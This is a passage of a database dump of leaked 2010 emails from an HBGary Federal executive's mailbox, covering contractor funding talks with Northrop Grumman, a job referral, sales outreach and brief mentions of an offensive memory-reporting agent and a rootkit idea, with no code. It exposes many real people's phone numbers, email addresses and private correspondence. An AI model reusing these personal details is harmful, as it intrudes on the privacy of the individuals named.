generosity of people like us.To reserve your company’s table and support this great cause as well as network with more than 700 government and industry executives from the public sector IT community, please respond as soon as possible to Patrice D’Eramo,&nbsp;pderamof@cisco.com, or 410-309-4877.Other sponsor opportunities are available for as little as $1,000. For more information, please contact Dawn Hall,&nbsp;dhall@cdwg.com, or&nbsp;301-273-5444.AFCEA Bethesda Chapter Presents&nbsp;6th Annual Charity Golf TournamentDate:&nbsp;May 17, 2010&nbsp;Golf Tournament: 12:00 PM - 6:00 PMAwards Ceremony: 6:00 PM - 7:00 PMRegistration:&nbsp;10:00 AM - 11:30 AMLocation:&nbsp;Hidden Creek Country Club, Reston, VAThe Young AFCEAN Committee of the AFCEA Bethesda Chapter is hosting the 6th Annual AFCEA Bethesda Charity Golf Tournament on May 17, at Hidden Creek Country Club in Reston, Virginia. All proceeds from sponsorships for this event will benefit the AFCEA Bethesda Chapter Scholarship Fund.Sponsorship packages offer an outstanding opportunity to gain visibility among prospective customers, government attendees, and industry partners who will be participating in the tournament. For more information, please visit http://bethesdaafcea.golfreg.com.Young AFCEA Bethesda Council Presents&nbsp;Leveraging Your Personal NetworkDate:&nbsp;February 24, 2010&nbsp;Professional Development Series:&nbsp;6:00 PM - 7:00 PMLocation: Sapient Corporate OfficeAddress:&nbsp;1515 North Courthouse Road, 7th Floor, Arlington, VAMark your calendars for “Leveraging Your Personal Network,” the second event in the YAFCEA Bethesda Professional Development Series to be held Wednesday, February 24, 2010, at Sapient’s corporate office in Arlington, VA. Peter DiGiammarino, CEO of Compusearch, will discuss building and leveraging your personal network to grow a career in professional services. Mr. DiGiammarino is a senior executive with more than 30 years of successful experience leading business application software product and professional services firms that target niche public and private markets in North America. For more information, please visit www.bethesda-afcea.org/yafcea.To find out more about Mr. DiGiammarino, click here.&nbsp;&nbsp;AFCEA Bethesda Chapter encourages you to forward this email to a friend, colleague, partner or customer with a vested interest in any of these critical areas affecting the Federal civilian or DoD IT community. We look forward to seeing you at our upcoming events.* * * * * * * * * * * * * * * * * * * * * * * * * *&nbsp;Follow us!FacebookTwitterGovLoopFlickr&nbsp;* * * * * * * * * * * * * * * * * * * * * * * * * *If you no longer want to receive emails from Beth Kelley, please&nbsp;Opt-Out.&nbsp;BREAKFAST&nbsp;SPONSORSSILVER&nbsp;&nbsp;FULL TABLE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SMALL BUSINESS&nbsp;&nbsp;&nbsp;EMERGING SMALL BUSINESS&nbsp;&nbsp;&nbsp;PROGRAMMEDIA PARTNERSSUPPORTING&nbsp;&nbsp;\r\nJohn M. FarrellVice PresidentEndgame Systems1940 Duke Street Suite 200Alexandria, VA 22314(703) 622-9025\r\n\r\n',559,'aaron_hbgary_com/559.html'),(2501,'2010-02-11','\"Sinan Eren\" <sinan@pretoinc.com>','/aaron@hbgary.com/new/1297001172.M402621P3547Q2501.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Re: friend referral','\r\nHi Penny,\r\nAaron,\r\n\r\nPlease attached find Tiago\'s resume. His personal email is\r\nassumpcao.tiago@gmail.com\r\n\r\nPlease let me know if I can help in any capacity.\r\n\r\nRegards,\r\n-sinan\r\n\r\n\r\nPenny Leavy wrote:\r\n> Hi Sinan,\r\n> \r\n> We might be interested, would he be willing to move?  I\'m also copying\r\n> Aaron Barr the CEO of HBGary Federal as well, he might have a need\r\n> \r\n> On Wed, Feb 10, 2010 at 10:37 AM, Sinan Eren  wrote:\r\n>> Hi Penny,\r\n>>\r\n>> I remember sometime ago, you mentioning a RE/malware analyst position at\r\n>> HBGary. I have very close friend in mind, that is looking for such a\r\n>> position. He is top notch reverse engineer and previously worked with\r\n>> Zynamics on their binnavi product line. There is one catch, he is from\r\n>> Brazil and is looking for remote/consulting opportunities at the moment\r\n>> but he might be open for relocation later on. What do you think ? Any\r\n>> such open positions that I can formally refer him ?\r\n>>\r\n>> cheers,\r\n>> --\r\n>> Sinan Eren\r\n>> (+1) 650-283-2559\r\n>>\r\n> \r\n> \r\n> \r\n\r\n\r\n-- \r\nSinan Eren\r\n(+1) 650-283-2559\r\n',7151,'aaron_hbgary_com/7151.html'),(2502,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001173.M85922P3547Q2502.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: IG files','Any other info?  This really has me worried.  I have spent a significant amount of time on putting this together and while the other stuff from rich amd greg is a good idea to pursue it&#39;s not a guarantee and I need to secure funds.  I can&#39;t spend money on travel or other efforts related to this without some funding coming in from it.  It&#39;s just the reality I am in.\r\nAaronFrom my iPhoneOn Feb 11, 2010, at 12:52 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nTalking to bill right now.\r\n\r\n \r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, February 11, 2010 12:46 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: IG files\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nBrian,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nlets talk more...  We use to fund vendors/subs to come\r\nin and develop capability in our IRADs in ISD.  Given I developed this\r\nidea and brought it to you guys and continue to help develop the idea, make is\r\nstronger, and work to help us both grow in the defensive market, why is it so\r\ntough to get some funding to help with the development?  And you know me\r\nits not because I am greedy.  I just need to relieve some pressure and\r\nthis will provide a long term capability, as long as I am around.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nDo you know what Bill/Martin envision as far as use of the\r\nintegrated capability.  How are we going to continue to go to market\r\ntogether?  Are we going to continue to go to market together?  What\r\ndoes the partnership look like in their eyes going forward?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Feb 11, 2010, at 11:20 AM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nBrian\r\nMasterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Akey, Mark L.\r\nSent: Thursday, February 11, 2010 11:01 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: RE: IG files\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n&lt;&lt;Cyber\r\nApplicationsR1.ppt&gt;&gt; &lt;&lt;productMainfoldFusion.ppt&gt;&gt; \r\n\r\n&lt;&lt;IG\r\nsans equations.ppt&gt;&gt; &lt;&lt;PPF.ppt&gt;&gt; \r\n\r\nBrian,\r\n\r\nThe attached\r\nfiles are clean and can be provided to HBGary under the PIEA.\r\n\r\n______________________________________\r\nDr. Mark Akey\r\nNorthrop Grumman Electronic Systems\r\nAdvanced Concepts &amp; Technologies Division\r\nManager, Multi-INT Exploitation\r\nOffice: 260.435.4678\r\nCell: 260.437.9875\r\nFax: 410.981.5803\r\nmark.akey@ngc.com\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Thursday, February 11, 2010 9:57 AM\r\nTo: Akey, Mark L.\r\nSubject: FW: IG files\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nBrian\r\nMasterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Thursday, January 21, 2010 2:35 PM\r\nTo: Davis, Roger (Xetron)\r\nSubject: IG files\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n &lt;&lt; File: What\r\nis Semantic Data Alignment v6.pptx &gt;&gt;  &lt;&lt; File: Cyber\r\nApplicationsR1.ppt &gt;&gt;  &lt;&lt; File: Cyber ApplicationsR1.pptx\r\n&gt;&gt; \r\n\r\n &lt;&lt; File:\r\nproductMainfoldFusion.ppt &gt;&gt;  &lt;&lt; File: scherzo.tar.gz\r\n&gt;&gt;  &lt;&lt; File: IG.ppt &gt;&gt;  &lt;&lt; File: IG.pptx\r\n&gt;&gt;  &lt;&lt; File: PPF.ppt &gt;&gt; \r\n\r\nBrian\r\nMasterson\r\n\r\nNorthrop\r\nGrumman/Xetron\r\n\r\nChief\r\nTechnology Officer, IO Programs\r\n\r\nPh:\r\n513-881-3591\r\n\r\nCell:\r\n513-706-4848\r\n\r\nFax:\r\n513-881-3543\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n&lt;Cyber\r\nApplicationsR1.ppt&gt;&lt;productMainfoldFusion.ppt&gt;&lt;IG sans\r\nequations.ppt&gt;&lt;PPF.ppt&gt;\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4440,'aaron_hbgary_com/4440.html'),(2503,'2010-02-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001180.M605459P3547Q2503.eml','tamir.ness@rbc.com','Malware Analysis / Forensics Incident Response','Sam,\r\n\r\nAttached is an HBGary report that we published yesterday detailing our\r\nanalysis of the Aurora malware which recently struck Google and dozens\r\nof other companies.  HBGary provides incident response, forensics, and\r\nmalware reverse engineering and analysis products and services.  We\r\nspecialize in the advanced malware threats, which are focused at high\r\nvalue targets.  In speaking with you earlier I thought that RBC may\r\nbenefit from an HBGary capabilities overview.  I\'d appreciate if you\r\ncould pass along this report, product datasheets, and provide an\r\nintroduction to your information security staff.\r\n\r\nRegards,\r\nTed Vera\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',8557,'aaron_hbgary_com/8557.html'),(2504,'2010-02-11','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001181.M192574P3547Q2504.eml','aaron@hbgary.com','Re: IG files','\r\nSorry.  Just got out of mtg.  Bill understands.    I laid out your concerns and needs as strongly as I could.  He is going to call you this afternoon to discuss.  Also, I want to try to get funding for the stuff from rich.  We got customers who may write the task onto our current contract and we can send it to you.  That can happen pretty quickly.  Trying everything I got at my disposal for you.\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Masterson, Brian (Xetron)Sent: Thu Feb 11 13:12:01 2010Subject: Re: IG files\r\nAny other info?  This really has me worried.  I have spent a significant amount of time on putting this together and while the other stuff from rich amd greg is a good idea to pursue it&#39;s not a guarantee and I need to secure funds.  I can&#39;t spend money on travel or other efforts related to this without some funding coming in from it.  It&#39;s just the reality I am in.\r\nAaronFrom my iPhoneOn Feb 11, 2010, at 12:52 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nTalking to bill right now.\r\n\r\n \r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, February 11, 2010 12:46 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: IG files\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nBrian,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nlets talk more...  We use to fund vendors/subs to come\r\nin and develop capability in our IRADs in ISD.  Given I developed this\r\nidea and brought it to you guys and continue to help develop the idea, make is\r\nstronger, and work to help us both grow in the defensive market, why is it so\r\ntough to get some funding to help with the development?  And you know me\r\nits not because I am greedy.  I just need to relieve some pressure and\r\nthis will provide a long term capability, as long as I am around.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nDo you know what Bill/Martin envision as far as use of the\r\nintegrated capability.  How are we going to continue to go to market\r\ntogether?  Are we going to continue to go to market together?  What\r\ndoes the partnership look like in their eyes going forward?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Feb 11, 2010, at 11:20 AM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nBrian\r\nMasterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Akey, Mark L.\r\nSent: Thursday, February 11, 2010 11:01 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: RE: IG files\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n&lt;&lt;Cyber\r\nApplicationsR1.ppt&gt;&gt; &lt;&lt;productMainfoldFusion.ppt&gt;&gt; \r\n\r\n&lt;&lt;IG\r\nsans equations.ppt&gt;&gt; &lt;&lt;PPF.ppt&gt;&gt; \r\n\r\nBrian,\r\n\r\nThe attached\r\nfiles are clean and can be provided to HBGary under the PIEA.\r\n\r\n______________________________________\r\nDr. Mark Akey\r\nNorthrop Grumman Electronic Systems\r\nAdvanced Concepts &amp; Technologies Division\r\nManager, Multi-INT Exploitation\r\nOffice: 260.435.4678\r\nCell: 260.437.9875\r\nFax: 410.981.5803\r\nmark.akey@ngc.com\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Thursday, February 11, 2010 9:57 AM\r\nTo: Akey, Mark L.\r\nSubject: FW: IG files\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nBrian\r\nMasterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Thursday, January 21, 2010 2:35 PM\r\nTo: Davis, Roger (Xetron)\r\nSubject: IG files\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n &lt;&lt; File: What\r\nis Semantic Data Alignment v6.pptx &gt;&gt;  &lt;&lt; File: Cyber\r\nApplicationsR1.ppt &gt;&gt;  &lt;&lt; File: Cyber ApplicationsR1.pptx\r\n&gt;&gt; \r\n\r\n &lt;&lt; File:\r\nproductMainfoldFusion.ppt &gt;&gt;  &lt;&lt; File: scherzo.tar.gz\r\n&gt;&gt;  &lt;&lt; File: IG.ppt &gt;&gt;  &lt;&lt; File: IG.pptx\r\n&gt;&gt;  &lt;&lt; File: PPF.ppt &gt;&gt; \r\n\r\nBrian\r\nMasterson\r\n\r\nNorthrop\r\nGrumman/Xetron\r\n\r\nChief\r\nTechnology Officer, IO Programs\r\n\r\nPh:\r\n513-881-3591\r\n\r\nCell:\r\n513-706-4848\r\n\r\nFax:\r\n513-881-3543\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n&lt;Cyber\r\nApplicationsR1.ppt&gt;&lt;productMainfoldFusion.ppt&gt;&lt;IG sans\r\nequations.ppt&gt;&lt;PPF.ppt&gt;\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13911,'aaron_hbgary_com/13911.html'),(2505,'2010-02-11','\"Thompson, Bill (Xetron)\" <Bill.Thompson2@ngc.com>','/aaron@hbgary.com/new/1297001181.M375628P3547Q2505.eml','aaron@hbgary.com','call me','\r\n\r\n\r\n\r\n\r\ncall me\r\n\r\n\r\n\r\n\r\n5138813545\r\n\r\n\r\n',1462,'aaron_hbgary_com/1462.html'),(2506,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001181.M583899P3547Q2506.eml','\"Thompson, Bill (Xetron)\" <Bill.Thompson2@ngc.com>','Re: call me','Sure thing.  Give me 20min.  Putting kids to sleep.  Benefits or hazards of being snowed in.AaronFrom my iPhoneOn Feb 11, 2010, at 2:23 PM, &quot;Thompson, Bill (Xetron)&quot; &lt;Bill.Thompson2@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n5138813545\r\n\r\n\r\n\r\n',11585,'aaron_hbgary_com/11585.html'),(2507,'2010-02-11','\"Thompson, Bill (Xetron)\" <Bill.Thompson2@ngc.com>','/aaron@hbgary.com/new/1297001181.M762903P3547Q2507.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: call me','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBenefits!\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, February 11, 2010 2:24 PM\r\nTo: Thompson, Bill (Xetron)\r\nSubject: Re: call me\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSure thing. &nbsp;Give me 20min. &nbsp;Putting kids to\r\nsleep. &nbsp;Benefits or hazards of being snowed in.\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 11, 2010, at 2:23 PM, &quot;Thompson, Bill (Xetron)&quot; &lt;Bill.Thompson2@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n5138813545\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10843,'aaron_hbgary_com/10843.html'),(2508,'2010-02-11','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297001181.M957504P3547Q2508.eml','\"Brian Masterson (Xetron)\" <Brian.Masterson@ngc.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: HBGary Federal','\r\n\r\n\r\n\r\n\r\nFW: HBGary Federal\r\n\r\n\r\n\r\n\r\nBrian &#8211; Were you aware?&nbsp; Are there any issues here we should be aware of?&nbsp; \r\n\r\nAaron &#8211; Gathering momentum, hopefully.&nbsp; Hope we can all make it through the snow.&nbsp; \r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Thompson, Bill (Xetron)\r\nSent: Thursday, February 11, 2010 1:57 PM\r\nTo: Conroy, Thomas W.\r\nCc: Jadik, John; Simoni, Martin P. (Xetron)\r\nSubject: HBGary Federal\r\n\r\n\r\n\r\nTom,\r\n\r\nI just found out that you have a meeting set up with Aaron Barr from HBGary Federal tomorrow afternoon.&nbsp; We have been working with Aaron to define the subject effort for some time and I would like to attend the meeting if you feel that it is appropriate.&nbsp; I was not able to get you by phone to discuss.&nbsp; Therefore, I am going to plan on attending unless I hear otherwise.&nbsp; \r\n\r\nPlease let me know if this presents a problem,\r\n\r\nBill Thompson\r\n\r\nManager &#8211; Cyber Solutions\r\n\r\nNorthrop Grumman &#8211; Xetron\r\n\r\n\r\n\r\n\r\n',6420,'aaron_hbgary_com/6420.html'),(2509,'2010-02-11','\"Anita D\'Amico\" <anitad@securedecisions.com>','/aaron@hbgary.com/new/1297001182.M144088P3547Q2509.eml','\"Aaron Barr\" <aaron@hbgary.com>','Anita D\'Amico wants to connect on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n      Anita D\'Amico requested to add you as a connection on LinkedIn:\r\n  \r\n    Aaron,\r\n\r\nBob Slapnik suggested we talk. I run the Secure Decisions division of AVI. We are a small business with a good track record at DARPA (nominated 2x for best small biz in STO), DHS and IC. I\'d like to add you to my network on LinkedIn.\r\n\r\n- Anita D\'Amico\r\n  \r\n  \r\n  &nbsp;\r\n\r\n    \r\n      \r\n          \r\n            Accept\r\n          \r\n           \r\n                View invitation from Anita D\'Amico\r\n          \r\n      \r\n    \r\n\r\n   \r\n   &nbsp;\r\n   \r\n   DID YOU KNOW you can conduct a more credible and powerful reference check using LinkedIn? Enter the company name and years of employment or the prospective employee to find their colleagues that are also in your network. This provides you with a more balanced set of feedback to evaluate that new hire. \r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',6368,'aaron_hbgary_com/6368.html'),(2510,'2010-02-11','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001182.M350945P3547Q2510.eml','\"Aaron Barr\" <aaron@hbgary.com>','Spoke with Secure Decisions -- she gave recommendations','Aaron,\r\n \r\nAnita told me they would not be your solution for automated math correlation analysis.\r\n \r\nShe recommend IET.  \r\nBrandon Goldfedder / (703) 284-0617 / bgoldfedder@iet.com\r\nTodd Levitt / 703-841-3500\r\n \r\nShe said Telcorda would have math people.\r\n \r\nBob\r\n',14015,'aaron_hbgary_com/14015.html'),(2511,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001182.M560523P3547Q2511.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','A new cybersecurity company','http://intrepidusgroup.com/management.php  - Do u know the CEO Rohyt Belani? From Mandiant?\r\nCo-founder is Aaron Higbee.\r\n\r\nThey have a phishing product to do phishing training...weird.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1904,'aaron_hbgary_com/1904.html'),(2512,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001182.M751708P3547Q2512.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Spoke with Secure Decisions -- she gave recommendations','Thanks Bob. &nbsp;I will check them out.AaronOn Feb 11, 2010, at 3:56 PM, Bob Slapnik wrote:Aaron,\r\n&nbsp;\r\nAnita told me they would not be your solution for automated math correlation analysis.\r\n&nbsp;\r\nShe recommend IET.&nbsp; \r\nBrandon Goldfedder / (703) 284-0617 / bgoldfedder@iet.com\r\nTodd Levitt / 703-841-3500\r\n&nbsp;\r\nShe said Telcorda would have math people.\r\n&nbsp;\r\nBob\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6359,'aaron_hbgary_com/6359.html'),(2513,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001182.M945466P3547Q2513.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Phone call','Good. &nbsp;We are in understanding that I need some funds and Bill is also going to try and help to get a HBGary Fed person on a contract, which would be great. &nbsp;I am still a little fuzzy on why its hard to use IRAD funds, but in the end it doesn\'t matter. &nbsp;I just need to get some people hired. &nbsp;As far as moving forward we are in agreement/sync with what we want out of the endeavor and its complimentary.I am still nervous. &nbsp;But I am hopeful it will work itself out.Have a great time.AaronOn Feb 11, 2010, at 3:51 PM, Masterson, Brian (Xetron) wrote:\r\n\r\nHow did it go?\r\nAt airport.\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10064,'aaron_hbgary_com/10064.html'),(2514,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001183.M136526P3547Q2514.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Emailing: Integrated Cyber Defense & Support Technologies - Federal Business Opportunities Opportunities.mht','what is this file?  I can\'t open it.  Its some sort of web archive file?\r\n\r\n\r\nOn Feb 11, 2010, at 12:21 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12292,'aaron_hbgary_com/12292.html'),(2515,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001183.M338540P3547Q2515.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Offensive DDNA','Rich,\r\n\r\nYou had talked briefly with Brian Masterson about the idea of taking DDNA and turning it into an agent that could be deployed on external systems to report on information in memory.  Brian thinks we can get some funding to develop this if you could to a very brief write up.\r\n\r\nAlso Greg.  Is their a write up for your rootkit idea?  Thought being we could take it into a direct customer as well.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13395,'aaron_hbgary_com/13395.html'),(2516,'2010-02-11','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001183.M660190P3547Q2516.eml','aaron@hbgary.com,aaron@hbgary.com,','Re: Emailing: Integrated Cyber Defense & Support Technologies - Federal Business Opportunities Opportunities.mht','\r\n\r\n\r\n\r\n\r\nRe: Emailing: Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mht\r\n\r\n\r\n\r\n\r\nHey,\r\nCan you send kevin the info for tuesday?&nbsp; He is one of our senior guys.\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Thu Feb 11 15:09:13 2010\r\nSubject: Re: Emailing: Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mht\r\n\r\nwhat is this file?&nbsp; I can\'t open it.&nbsp; Its some sort of web archive file?\r\n\r\n\r\nOn Feb 11, 2010, at 12:21 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n&gt; &lt;Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mht&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7924,'aaron_hbgary_com/7924.html'),(2517,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001183.M859591P3547Q2517.eml','\"Bill (Xetron) Thompson\" <Bill.Thompson2@ngc.com>','Snow predicted for Monday','Wanted to make you aware.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14448,'aaron_hbgary_com/14448.html'),(2518,'2010-02-11','\"Thompson, Bill (Xetron)\" <Bill.Thompson2@ngc.com>','/aaron@hbgary.com/new/1297001184.M280791P3547Q2519.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Snow predicted for Monday','How much?  I am shooting for a 2:30 meeting.\r\n\r\nbillt\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, February 11, 2010 4:26 PM\r\nTo: Thompson, Bill (Xetron)\r\nSubject: Snow predicted for Monday\r\n\r\nWanted to make you aware.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13729,'aaron_hbgary_com/13729.html'),(2519,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001184.M468694P3547Q2520.eml','\"Thompson, Bill (Xetron)\" <Bill.Thompson2@ngc.com>','Re: Snow predicted for Monday','Too far out, right now 50% chance of snow.  Rooollll the dice. :)\r\n\r\nOn Feb 11, 2010, at 4:33 PM, Thompson, Bill (Xetron) wrote:\r\n\r\n> How much?  I am shooting for a 2:30 meeting.\r\n> \r\n> billt\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, February 11, 2010 4:26 PM\r\n> To: Thompson, Bill (Xetron)\r\n> Subject: Snow predicted for Monday\r\n> \r\n> Wanted to make you aware.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15331,'aaron_hbgary_com/15331.html'),(2520,'2010-02-11','\"Aaron Barr\" 